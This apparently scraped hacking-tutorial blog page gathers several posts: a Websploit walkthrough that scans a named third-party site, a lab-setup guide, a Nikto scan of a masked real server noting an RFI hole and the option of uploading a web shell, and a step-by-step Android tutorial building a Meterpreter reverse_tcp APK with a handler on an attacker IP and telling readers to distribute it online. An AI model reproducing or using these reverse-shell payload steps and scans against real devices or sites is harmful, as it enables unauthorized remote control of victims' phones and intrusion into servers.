Websploit Framework - Kali Linux Tutorial

Read

Websploit is an automatic vulnerability assessment, web crawler and exploiter tool. It is an open source command line utility that composed on modular structure. At the time of writing, there are 16 modules are available on Websploit, it can be downloaded from sourceforge project website but it is available on Kali Linux by default.

Websploit can be synchronize with Metasploit WMAP project for web vulnerability scanning, there are four categories of modular are available and they are:

Web Modules
Network Modules
Exploit Modules
Wireless Modules

In Wireless module we can run some interesting WiFi attacking vector including the WiFi jammer and WiFi DDOS attack. For exploitation, websploit is working on the basis of Metasploit Autopwn service and metasploit browser autopwn service. A large number of interesting attacking vectors are available on the network modules, and they are but not limited to:

ARP cache DOS attack
Middle Finger Of Doom Attack
Man In The Middle Attack
Man Left In The Middle Attack
Fake Update Attack Using DNS Spoof
And more....

Some modules of websploit are depends on Metasploit for example

Information Gathering From Victim Web Using (Metasploit Wmap)

So it is recommended to configure Metasploit before using these modules, the demonstration of every modules are not possible on this single article, but the basic command and usage of the software mentioned below and it surely help you to use websploit in a professional manner.

If you are on Kali Linux, then click on Applications → Kali Linux → Web Applications → Web Vulnerability Scanners → Websploit

The list of commands that can applicable on websploit are:

Commands Description

--------------- ----------------

set Set Value Of Options To Modules

scan Scan Wifi (Wireless Modules)

stop Stop Attack & Scan (Wireless Modules)

run Execute Module

use Select Module For Use

os Run Linux Commands(ex : os ifconfig)

back Exit Current Module

show modules Show Modules of Current Database

show options Show Current Options Of Selected Module

upgrade Get New Version

update Update Websploit Framework

In the demonstration mentioned below: the web directory scanner attack will be performed.

wsf > show modules

..

..

wsf > use web/dir_scanner

wsf:Dir_Scanner > show options

Options Value

--------- --------------

TARGET http://google.com

wsf:Dir_Scanner > set TARGET http://ehacking.net

TARGET => ehacking.net

wsf:Dir_Scanner > run

[*] Your Target : ehacking.net

[*]Loading Path List ... Please Wait ...

[index] ... [404 Not Found]

[images] ... [404 Not Found]

[download] ... [404 Not Found]

..

..

..

The commands to perform other attacking vector are same, just follow the steps mentioned above.

- See more at: http://www.ehacking.net/2013/05/kali-linux-tutorial-websploit-framework.html#sthash.sTPecDoN.dpuf

Read More Add comment

Hacking Android Smartphone Tutorial using Metasploit

By 0x000216

Read

0 Comments

Hacking Android Smartphone Tutorial using Metasploit

Nowadays mobile users are increasing day by day, the security threat is also increasing together with the growth of its users. Our tutorial for today is how to Hacking Android Smartphone Tutorial using Metasploit. Why we choose android phone for this tutorial? simply because lately android phone growing very fast worldwide. Here in China you can get android phone for only US$ 30 it's one of the reason why android growing fast.

What is android? according to wikipedia:

Android is an operating system based on the Linux kernel, and designed primarily for touchscreen mobile devices such as smartphones and tablet computers. Initially developed by Android, Inc., which Google backed financially and later bought in 2005, Android was unveiled in 2007 along with the founding of the Open Handset Alliance: a consortium of hardware, software, and telecommunication companies devoted to advancing open standards for mobile devices.

and what is APK? according to wikipedia:

Android application package file (APK) is the file format used to distribute and install application software and middleware onto Google's Android operating system; very similar to an MSI package in Windows or a Deb package in Debian-based operating systems like Ubuntu.

Here is some initial information for this tutorial:

Attacker IP address: 192.168.8.94

Attacker port to receive connection: 443

Requirements:

1. Metasploit framework (we use Kali Linux 1.0.6 in this tutorial)

2. Android smartphone (we use HTC One android 4.4 KitKat)

Step by Step Hacking Android Smartphone Tutorial using Metasploit:

1. Open terminal (CTRL + ALT + T) view tutorial how to create linux keyboard shortcut.

2. We will utilize Metasploit payload framework to create exploit for this tutorial.

msfpayload android/meterpreter/reverse_tcp LHOST= LPORT=

As described above that attacker IP address is 192.168.8.94, below is our screenshot when executed the command

3. Because our payload is reverse_tcp where attacker expect the victim to connect back to attacker machine, attacker needs to set up the handler to handle incoming connections to the port already specified above. Type msfconsole to go to Metasploit console.

Info:

use exploit/multi/handler –> we will use Metasploit handler
set payload android/meterpreter/reverse_tcp –> make sure the payload is the same with step 2

4. The next step we need to configure the switch for the Metasploit payload we already specified in step 3.

Info:

set lhost 192.168.8.94 –> attacker IP address
set lport 443 –> port to listen the reverse connection
exploit –> start to listen incoming connection

5. Attacker already have the APK's file and now he will start distribute it (I don't need to describe how to distribute this file, internet is the good place for distribution

6. Short stories the victim (me myself) download the malicious APK's file and install it. After victim open the application, attacker Metasploit console get something like this:

7. It's mean that attacker already inside the victim android smartphone and he can do everything with victim phone.

See the video below if you are not clear about the step by step Hacking Android Smartphone Tutorial using Metasploit above:

Conclusion:

1. Don't install APK's from the unknown source.

2. If you really want to install APK's from unknown source, make sure you can view, read and examine the source code. The picture below is the source code of our malicious APK's in this tutorial.

Share this post if you found it useful

- See more at: http://www.hacking-tutorial.com/hacking-tutorial/hacking-android-smartphone-tutorial-using-metasploit/#sthash.wObR4UeY.dpuf

Read More Add comment

Creat Penetration testing Lab in Kali Linux or Backtrack

By 0x000216

Read

0 Comments

Hello, friends I hope you've been up-to my previous post : Brute Force Attack & Backdoor Website Hacking, In these two previous post - I was using DVWA + OWASP-BWA + Backtrack, that means two penetration testing lab with Bactrack hacking OS. It's cool, comfortable to hack using Bactrack or Kali Linux. As you know guys - we've posted many Penetration testing lab creation articles but yet we haven't posted any article that can help learner to connect Penetration testing lab with Backtrack or any other Hacking OS. Finally your wait is over, Read this Post.

Penetration testing lab with Kali Linux or (Backtrack)

If you're using Backtrack then it's good and if you've Kali Linux then too Good. Simply here you'll not require to install any OS on your system - you can do it on your present running OS. Just complete below requirements and you're done.

Requirements :

System Requirement :

Minimum 2GB RAM but (Recommended 3GB RAM)
2.5 Ghz or Best in 3Ghz
Display minimum : 1024x768

What's new in this Penetration testing lab ?
Well nothing is much new in this, but let me talk about some more addition and features - that can really helps you a lot for Pentesting.
DVWA + NOWASP (Mutillidae) + OWASP -BWA + Kali Linux + Windows 7 + OWASP Mantra Janus + Ghost Security + Web Goat = Super Penetration testing lab. When all this Penetration testing lab will be one system & run at one time in Kali Linux or Bactrack - m sure it will definitely rock up hackers, learners & Pentesters. So Keep Calm & Proceed to next step.

Steps to Create Penetration testing lab
It isn't too much hard to create Penetration testing lab with OWASP-BWA - Connect it with Backtrack or Kali Linux & Penetrate. Simply if you'll follow below all steps properly, you'll get success.

1. First of all learn to Install Kali Linux or Backtrack in VM Ware.

Watch Video on You-Tube [Click Here]

2. Now, Create OWASP-BWA Penetration testing lab in your system & Start it in VM Ware and at same time create one more Virtual Machine Kali Linux or (Backtrack), So it will start two Virtual machine with Dual Virtual Network.

3. 1st Network = OWASP-BWA Pentest lab. 2nd Network = Kali Linux or Backtrack

4. It will definitely eats up your RAM & CPU so I'll recommend you to stop all background process to speed up system & gain more memory & CPU

5. We're using two OS with three two virtual network + One Original Non-Splitted Network of your current running OS. Well you can also pentest on your current OS using Backtrack Metasploit, Reverse Engineering, Brute Force, Cracking attacks.

6. Okay, if you don't know how to create this pentest lab watch out below video.

Watch Video on You-Tube [Click Here]

7. This tutorial is simply very easy, Just be patience while Installing VM Ware & you'll require to read my previous Penetration testing lab tutorials & Articles.

Fore more Gazing Hacking related Articles Stay connected with us

- See more at: http://www.hackw0rm.com/2013/06/Kali-Pentest-lab.html#sthash.OOfJkbiu.dpuf

Read More Add comment

Pentesting Web Servers with Nikto in Backtrack and Kali Linux

By 0x000216

Read

0 Comments

Nikto is one of the most popular web security application when you are beginning a web pentesting project.

You can download Nikto from http://cirt.net/nikto2 This tool has been included in Backtrack and Kali Linux distributions.

Nikto is an Open Source web server scanner. This tool performs test against web servers making requests for multiple items. Nikto checks:

Over 6500 dangerous files/CGIs.
More than 1250 outdated version for several web servers.
Specific problems on over 270 servers.
Presence of index files.
HTTP server options like TRACE.
Installed software and web servers.

Nikto creates a lot of requests quickly, is not designed as an overly stealthy tool. If you run Nikto against a remote Web Server, the administrator could read a lot of lines on web server log which show the attack. Some SIEMs have defaults rules for correlating these logs and it could create an alarm warning to the administrators about the attack.

These are the Nikto options.

jnieto@naltor:~$ nikto 
Option host requires an argument

       -config+            Use this config file
       -Cgidirs+           scan these CGI dirs: 'none', 'all', or values like "/cgi/ /cgi-a/"
       -dbcheck            check database and other key files for syntax errors
       -Display+           Turn on/off display outputs
       -evasion+           ids evasion technique
       -Format+            save file (-o) format
       -host+              target host
       -Help               Extended help information
       -id+                Host authentication to use, format is id:pass or id:pass:realm
       -list-plugins       List all available plugins
       -mutate+            Guess additional file names
       -mutate-options+    Provide extra information for mutations
       -output+            Write output to this file
       -nocache            Disables the URI cache
       -nossl              Disables using SSL
       -no404              Disables 404 checks
       -port+              Port to use (default 80)
       -Plugins+           List of plugins to run (default: ALL)
       -root+              Prepend root value to all requests, format is /directory 
       -ssl                Force ssl mode on port
       -Single             Single request mode
       -timeout+           Timeout (default 2 seconds)
       -Tuning+            Scan tuning
       -update             Update databases and plugins from CIRT.net
       -vhost+             Virtual host (for Host header)
       -Version            Print plugin and database versions
     + requires a value

 Note: This is the short help output. Use -H for full help.

We are going to run Nikto against a server.

jnieto@naltor:~$ nikto -h www.XxXxXxXxXx.es
- Nikto v2.1.4
---------------------------------------------------------------------------
+ Target IP:          XXX.XXX.XXX.XXX
+ Target Hostname:    www.XxXxXxXxXx.es
+ Target Port:        80
+ Start Time:         2013-06-19 16:23:35
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Win32) PHP/5.3.1
+ Retrieved x-powered-by header: PHP/5.3.1
+ robots.txt contains 10 entries which should be manually viewed.
+ ETag header found on server, inode: 1688849860445366, size: 1028, mtime: 0x49b5cedbf3834
+ Multiple index files found: index.php, index.html, 
+ PHP/5.3.1 appears to be outdated (current is at least 5.3.5)
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ Default account found for 'Acceso restringido a usuarios autorizados' at /webalizer/ (ID '', PW '_Cisco'). Cisco device.
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /datos/: This might be interesting...
+ OSVDB-3092: /ftp/: This might be interesting...
+ OSVDB-3092: /imagenes/: This might be interesting...
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /README.TXT: This might be interesting...
+ OSVDB-3092: /readme.txt: This might be interesting...
+ OSVDB-3092: /temp/: This might be interesting...
+ OSVDB-3092: /tmp/: This might be interesting...
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3093: /FCKeditor/editor/filemanager/upload/test.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /FCKeditor/editor/dialog/fck_image.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /FCKeditor/editor/filemanager/browser/default/connectors/test.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /FCKeditor/editor/dialog/fck_flash.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /FCKeditor/editor/dialog/fck_link.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3092: /INSTALL.txt: Default file found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ OSVDB-3092: /install.txt: Install file found may identify site software.
+ OSVDB-3092: /INSTALL.TXT: Install file found may identify site software.
+ OSVDB-3093: /FCKeditor/editor/filemanager/browser/default/frmupload.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /FCKeditor/fckconfig.js: FCKeditor JavaScript file found.
+ OSVDB-3093: /FCKeditor/editor/filemanager/browser/default/browser.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ 6448 items checked: 10 error(s) and 31 item(s) reported on remote host
+ End Time:           2013-06-19 16:27:19 (224 seconds)
---------------------------------------------------------------------------

As you can see, we have find out the Server and PHP versions and a lot of interesting folders.

We have discover a RFI (Remote File Include) on this server...

+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

This URL path get a PHP code from http://cirt.net/rfiinc.txt? with the next code:

This code executes "phpinfo" but if you want, you can upload a web shell in order to gain access to the server.

Next line is interesting too. Nikto has located some URLs where you could upload files with your own source code.

+ OSVDB-3093: /FCKeditor/editor/filemanager/upload/test.html: FCKeditor could allow files to be updated or edited by remote attackers.

Nikto is one of the first applications that I run when a client request me a web audit.

Nexus

Websploit Framework - Kali Linux Tutorial

Hacking Android Smartphone Tutorial using Metasploit

Step by Step Hacking Android Smartphone Tutorial using Metasploit:

Creat Penetration testing Lab in Kali Linux or Backtrack

Pentesting Web Servers with Nikto in Backtrack and Kali Linux

Hack Webcam in Metasploit using Kali Linux

Recent Posts

Facebook